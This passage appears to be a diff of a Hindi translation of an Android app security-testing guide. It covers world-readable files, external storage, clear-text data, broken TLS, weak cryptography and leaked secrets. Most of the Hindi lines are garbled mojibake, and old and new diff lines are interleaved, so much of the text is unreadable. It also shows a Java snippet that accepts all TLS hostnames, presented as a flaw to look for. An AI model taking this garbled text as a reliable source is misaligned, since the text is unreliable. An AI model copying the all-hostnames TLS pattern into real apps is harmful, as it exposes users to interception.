рдЕрд▓рдЧ-рдЕрд▓рдЧ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЗ рдмреАрдЪ рд╕рд╛рдЭрд╛ рдХреА рдЬрд╛ рд╕рдХреЗрдВред рдпреЗ modes рдЗрди рдлрд╛рдЗрд▓реЛрдВ рддрдХ рдЕрдиреНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ, рд╕рдВрднрд╡рддрдГ malicious рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреА рднреА рдкрд╣реБрдБрдЪ рдХреЛ рд░реЛрдХрддреЗ рдирд╣реАрдВ рд╣реИрдВред 1. **Static Analysis:** -- **рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ** рдХрд┐ `MODE_WORLD_READABLE` рдФрд░ `MODE_WORLD_WRITABLE` рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА **рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдЬрд╛рдВрдЪ** рдХреА рдЧрдпреА рд╣реЛред рдпреЗ рдореЛрдб рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ **рдЕрдирдЪрд╛рд╣реА рдпрд╛ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдБрдЪ** рдХреЗ рд▓рд┐рдП рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- `MODE_WORLD_READABLE` рдФрд░ `MODE_WORLD_WRITABLE` рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдЬрд╛рдВрдЪ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВред рдпреЗ modes рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдЕрдирдЬрд╛рдиреЗ рдпрд╛ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдБрдЪ рдХреЗ рд▓рд┐рдП рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред 2. **Dynamic Analysis:** -- рдРрдк рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдИ рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдкрд░ рд╕реЗрдЯ рдХрд┐рдП рдЧрдП **permissions** рдХреА **рдЬрд╛рдБрдЪ** рдХрд░реЗрдВред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдлрд╝рд╛рдЗрд▓реЗрдВ worldwide readable рдпрд╛ writable рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХреА рдЧрдИ рд╣реИрдВред рдпрд╣ рдПрдХ рдЧрдВрднреАрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рд╕реЗ рдХрд┐рд╕реА рднреА installed application рдХреЛ, рдЙрд╕рдХреЗ рд╕реНрд░реЛрдд рдпрд╛ рдЗрд░рд╛рджреЗ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛, рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ **read рдпрд╛ modify** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓ рдЬрд╛рдПрдЧреАред +- рдРрдк рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЧрдП рдлрд╝рд╛рдЗрд▓реЛрдВ рдкрд░ рд╕реЗрдЯ рдХреА рдЧрдИ permissions рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЪреЗрдХ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдлрд╝рд╛рдЗрд▓реЗрдВ worldwide рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рдпрд╛ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╕реЗрдЯ рдХреА рдЧрдИ рд╣реИрдВред рдпрд╣ рдПрдХ рдЧрдВрднреАрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЛрдИ рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди, рдЙрд╕рдХреА рдЙрддреНрдкрддреНрддрд┐ рдпрд╛ рдЗрд░рд╛рджреЗ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛, рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝ рдпрд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред **External Storage** SD Cards рдЬреИрд╕реЗ external storage рдкрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╕рдордп рдХреБрдЫ рд╕рд╛рд╡рдзрд╛рдирд┐рдпрд╛рдБ рдмрд░рддрдиреА рдЪрд╛рд╣рд┐рдП: 1. **Accessibility**: -- External storage рдкрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ **global рд░реВрдк рд╕реЗ readable рдФрд░ writable** рд╣реЛрддреА рд╣реИрдВред рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐рд╕реА рднреА application рдпрд╛ рдпреВрдЬрд╝рд░ рджреНрд╡рд╛рд░рд╛ рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдВрднрд╡ рд╣реИред +- external storage рдкрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ globally readable рдФрд░ writable рд╣реЛрддреА рд╣реИрдВред рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдХреЛрдИ рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИред 2. **Security Concerns**: -- рдЗрд╕ рдЖрд╕рд╛рди рдкрд╣реБрдБрдЪ рдХреЗ рдХрд╛рд░рдг, рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ external storage рдкрд░ рд╕реНрдЯреЛрд░ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред -- External storage рдХреЛ рд╣рдЯрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдХрд┐рд╕реА рднреА application рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдХрдо рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред +- рдЖрд╕рд╛рди рдкрд╣реБрдБрдЪ рдХреЗ рдХрд╛рд░рдг, рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА external storage рдкрд░ рд╕реНрдЯреЛрд░ рди рдХрд░рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИред +- External storage рд╣рдЯрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ рдпрд╛ рдХрд┐рд╕реА рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдХрдо рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИред 3. **Handling Data from External Storage**: -- External storage рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдбреЗрдЯрд╛ рдкрд░ рд╣рдореЗрд╢рд╛ **input validation** рдХрд░реЗрдВред рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдбреЗрдЯрд╛ рдПрдХ untrusted рд╕реНрд░реЛрдд рд╕реЗ рдЖрддрд╛ рд╣реИред -- External storage рдкрд░ executables рдпрд╛ class files рдХреЛ dynamic loading рдХреЗ рд▓рд┐рдП рд╕реНрдЯреЛрд░ рдХрд░рдирд╛ рд╕рдЦреНрдд рддреМрд░ рдкрд░ discouraged рд╣реИред -- рдпрджрд┐ рдЖрдкрдХрд╛ application external storage рд╕реЗ executable files рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдпреЗ рдлрд╛рдЗрд▓реЗрдВ **signed рдФрд░ cryptographically verified** рд╣реЛрдВ рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐ рдЙрдиреНрд╣реЗрдВ dynamically load рдХрд┐рдпрд╛ рдЬрд╛рдПред рдпрд╣ рдХрджрдо рдЖрдкрдХреЗ application рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдПрдХрддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред +- external storage рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдбреЗрдЯрд╛ рдкрд░ рд╣рдореЗрд╢рд╛ input validation рдХрд░реЗрдВред рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдбреЗрдЯрд╛ рдПрдХ untrusted рд╕реНрд░реЛрдд рд╕реЗ рдЖрддрд╛ рд╣реИред +- external storage рдкрд░ executables рдпрд╛ class files рд╕реНрдЯреЛрд░ рдХрд░рдХреЗ dynamic loading рдХреЗ рд▓рд┐рдП рд░рдЦрдирд╛ рдЬреЛрд░рджрд╛рд░ рд░реВрдк рд╕реЗ рд╣рддреЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- рдпрджрд┐ рдЖрдкрдХрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди external storage рд╕реЗ executable рдлрд╝рд╛рдЗрд▓реЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЕрдирд┐рд╡рд╛рд░реНрдп рд╣реИ, рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЗрди рдлрд╛рдЗрд▓реЛрдВ рдкрд░ sign рдФрд░ cryptographic verification рдХреА рдЧрдИ рд╣реЛ рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐ рдЙрдиреНрд╣реЗрдВ dynamically load рдХрд┐рдпрд╛ рдЬрд╛рдПред рдпрд╣ рдХрджрдо рдЖрдкрдХреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдЕрдЦрдВрдбрддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред -External storage рдХрд╛ access `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ +External storage рдХреЛ `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` рдореЗрдВ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ > [!TIP] -> Android 4.4 (**API 17**) рд╕реЗ рд╢реБрд░реВ рд╣реЛрдХрд░, SD card рдореЗрдВ рдПрдХ directory рд╕рдВрд░рдЪрдирд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА app рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрд╕ app рдХреЗ directory рддрдХ рд╣реА рдкрд╣реБрдБрдЪ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ рдПрдХ malicious application рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп app рдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ read рдпрд╛ write access рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИред +> Starting with Android 4.4 (**API 17**), SD card рдХрд╛ directory structure рдРрд╕рд╛ рд╣реИ рдЬреЛ **рдХрд┐рд╕реА app рд╕реЗ рдЙрд╕ directory рддрдХ рдкрд╣реБрдБрдЪ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрд╕ app рдХреЗ рд▓рд┐рдП рд╣реИ**ред рдпрд╣ malicious application рдХреЛ рджреВрд╕рд░реЗ app рдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ read рдпрд╛ write access рдкрд╛рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИред **Sensitive data stored in clear-text** -- **Shared preferences**: Android рдкреНрд░рддреНрдпреЗрдХ application рдХреЛ `/data/data//shared_prefs/` рдкрде рдореЗрдВ рдЖрд╕рд╛рдиреА рд╕реЗ xml рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рд╣реЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рдХрднреА-рдХрднреА рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ clear-text рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИред -- **Databases**: Android рдкреНрд░рддреНрдпреЗрдХ application рдХреЛ `/data/data//databases/` рдкрде рдореЗрдВ рдЖрд╕рд╛рдиреА рд╕реЗ sqlite databases рд╕рд╣реЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рдХрднреА-рдХрднреА рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ clear-text рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИред +- **Shared preferences**: Android рдкреНрд░рддреНрдпреЗрдХ application рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ xml рдлрд╝рд╛рдЗрд▓реЗрдВ `/data/data//shared_prefs/` path рдореЗрдВ рд╕реЗрд╡ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рдХрднреА-рдХрднреА рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ clear-text рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИред +- **Databases**: Android рдкреНрд░рддреНрдпреЗрдХ application рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ sqlite databases `/data/data//databases/` path рдореЗрдВ рд╕реЗрд╡ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рдХрднреА-рдХрднреА рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ clear-text рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИред ### Broken TLS -Accept All Certificates +**Accept All Certificates** -рдХрдИ рдмрд╛рд░ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ рд╕рднреА certificates рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ рднрд▓реЗ рд╣реА рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП hostname рдореИрдЪ рди рдХрд░рддрд╛ рд╣реЛ, рдЗрд╕рдХреЗ рд▓рд┐рдП рдХреЛрдб рдХреА рд▓рд╛рдЗрдиреЛрдВ рдЬреИрд╕реЗ рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +рдХрднреА-рдХрднреА рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ рд╕рднреА certificates рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ рднрд▓реЗ рд╣реА рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП hostname рдореИрдЪ рди рдХрд░реЗ, рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП рдХреЛрдб рдХреА рд▓рд╛рдЗрдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ рдирд┐рдореНрди: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -163,19 +163,19 @@ A good way to test this is to try to capture the traffic using some proxy like B **Poor Key Management Processes** -рдХреБрдЫ рдбреЗрд╡рд▓рдкрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ local storage рдореЗрдВ рд╕реЗрд╡ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдХреЛрдб рдореЗрдВ hardcoded/predictable key рд╕реЗ encrypt рдХрд░рддреЗ рд╣реИрдВред рдРрд╕рд╛ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ reversing рддрдХрдиреАрдХреЗрдВ attackers рдХреЛ confidential рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛ рд╕рдХрддреА рд╣реИрдВред +рдХреБрдЫ рдбреЗрд╡рд▓рдкрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ local storage рдореЗрдВ рд╕реЗрд╡ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕реЗ рдХреЛрдб рдореЗрдВ hardcoded/рдЕрдиреБрдореЗрдп (predictable) key рд╕реЗ encrypt рдХрд░рддреЗ рд╣реИрдВред рдРрд╕рд╛ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ reversing рддрдХрдиреАрдХреЗрдВ attackers рдХреЛ confidential information рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИрдВред **Use of Insecure and/or Deprecated Algorithms** -рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ authorization checks, data рдХреЛ store рдпрд╛ send рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **deprecated algorithms** рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрдирдореЗ рдХреБрдЫ algorithms рд╣реИрдВ: RC4, MD4, MD5, SHA1... рдпрджрд┐ рдкрд╛рд╕рд╡рд░реНрдб рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **hashes** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ salt рдХреЗ рд╕рд╛рде brute-force **resistant** hashes рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред +рдбреЗрд╡рд▓рдкрд░реЛрдВ рдХреЛ authorisation checks, store рдпрд╛ send data рдХреЗ рд▓рд┐рдП **deprecated algorithms** рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ algorithms рд╣реИрдВ: RC4, MD4, MD5, SHA1... рдЕрдЧрд░ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **hashes** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ salt рдХреЗ рд╕рд╛рде **hashes brute-force resistant** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред ### Other checks -- рдпрд╣ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ **APK рдХреЛ obfuscate** рдХрд┐рдпрд╛ рдЬрд╛рдП рддрд╛рдХрд┐ reverse engineer рдХрд░рдиреЗ рдореЗрдВ attackers рдХреА рдореЗрд╣рдирдд рдореБрд╢реНрдХрд┐рд▓ рд╣реЛред -- рдпрджрд┐ рдРрдк sensitive рд╣реИ (рдЬреИрд╕реЗ bank apps), рддреЛ рдЙрд╕реЗ рдЕрдкрдиреЗ **рдЦреБрдж рдХреЗ checks to see if the mobile is rooted** рдХрд░рдиреЗ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЙрд╕рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред -- рдпрджрд┐ рдРрдк sensitive рд╣реИ (рдЬреИрд╕реЗ bank apps), рддреЛ рдЙрд╕реЗ рдЬрд╛рдБрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ **emulator** рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИред -- рдпрджрд┐ рдРрдк sensitive рд╣реИ (рдЬреИрд╕реЗ bank apps), рддреЛ рдЙрд╕реЗ **execute рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЕрдкрдиреА integrity check** рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдкрддрд╛ рдЪрд▓реЗ рдХрд┐ рдХреНрдпрд╛ рдЗрд╕реЗ modify рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -- Use [**APKiD**](https://github.com/rednaga/APKiD) рдпрд╣ рдЪреЗрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХрд┐рд╕ compiler/packer/obfuscator рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ APK рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ +- рдпрд╣ рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ attackers рдХреЗ рд▓рд┐рдП reverse engineer рдХрд╛ рдХрд╛рдо рдХрдард┐рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **APK рдХреЛ obfuscate** рдХрд┐рдпрд╛ рдЬрд╛рдПред +- рдЕрдЧрд░ app sensitive рд╣реИ (рдЬреИрд╕реЗ bank apps), рддреЛ рдЙрд╕реЗ **mobile is rooted** рд╣реЛрдиреЗ рдХреА рдЕрдкрдиреА рдЬрд╛рдБрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдФрд░ рдЙрд╕реА рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред +- рдЕрдЧрд░ app sensitive рд╣реИ (рдЬреИрд╕реЗ bank apps), рддреЛ рдЙрд╕реЗ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ **emulator** рдЙрдкрдпреЛрдЧ рд╣реЛ рд░рд╣рд╛ рд╣реИред +- рдЕрдЧрд░ app sensitive рд╣реИ (рдЬреИрд╕реЗ bank apps), рддреЛ рдЙрд╕реЗ **check it's own integrity before executing** рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛ рд╕рдХреЗ рдХрд┐ рдЗрд╕реЗ.modify рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK ### React Native Application @@ -207,7 +207,7 @@ With this knowledge, **mariana-trench will review the code and find possible vul ### Secrets leaked -рдПрдХ application рдореЗрдВ secrets (API keys, passwords, hidden urls, subdomains...) рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рдРрд╕реЗ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -264,7 +264,7 @@ avd-android-virtual-device.md - [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). > [!TIP] -> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. +> рдЬрдм рдХрд┐рд╕реА рднреА platform рдкрд░ рдирдпрд╛ emulator рдмрдирд╛рддреЗ рд╣реИрдВ рддреЛ рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рд╕реНрдХреНрд░реАрди рдЬрд┐рддрдиреА рдмрдбрд╝реА рд╣реЛрдЧреА, emulator рдЙрддрдирд╛ рд╣реА рд╕реНрд▓реЛ рдЪрд▓реЗрдЧрд╛ред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ рддреЛ рдЫреЛрдЯреЗ рд╕реНрдХреНрд░реАрди рдЪреБрдиреЗрдВред To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: @@ -274,7 +274,7 @@ Also, notice that in the **configuration of the Android VM in Genymotion** you c #### Use a physical device -рдЖрдкрдХреЛ **debugging** options рдХреЛ activate рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдЕрдЪреНрдЫрд╛ рд╣реЛрдЧрд╛ рдЕрдЧрд░ рдЖрдк рдЗрд╕реЗ **root** рдХрд░ рд╕рдХреЗрдВ: +You need to activate the **debugging** options and it will be cool if you can **root** it: 1. **Settings**. 2. (FromAndroid 8.0) Select **System**. @@ -297,7 +297,7 @@ Magisk/Zygisk quick notes (recommended on Pixel devices) **Logging** -рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ **debugging information** рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рд╛рд╡рдзрд╛рди рд░рд╣рдирд╛ рдЪрд╛рд╣рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рд╕реЗ sensitive data рдХрд╛ leak рд╣реЛ рд╕рдХрддрд╛ рд╣реИред application logs рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП tools [**pidcat**](https://github.com/JakeWharton/pidcat) рдФрд░ `adb logcat` рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рддрд╛рдХрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреА рдкрд╣рдЪрд╛рди 